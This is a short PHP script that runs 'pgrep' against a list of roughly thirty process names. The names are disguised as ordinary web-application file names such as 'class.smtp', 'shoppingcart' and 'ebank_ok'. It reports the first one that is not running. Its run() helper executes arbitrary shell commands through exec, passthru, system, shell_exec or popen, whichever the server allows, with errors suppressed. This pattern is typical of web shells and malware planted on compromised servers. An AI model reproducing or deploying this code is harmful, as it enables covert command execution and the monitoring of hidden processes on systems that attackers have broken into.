<?php   $files = ['class.smtp','customer','c360_settings','admin.class','gallery.lang_fi','under_buttons','exposicions','cookies.class','sql.class','form_upload','teachingStaffEN','reminders','verification','mcp_functions','cp.topic','seosiloing','orders_status','annoucement','class.resolution','turista_pdf','tbl_info.inc','actionscript','addlinkpartner','block_html','ebank_ok','DeleteFile','wish_list','show_courses_new','shoppingcart','am.topic']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }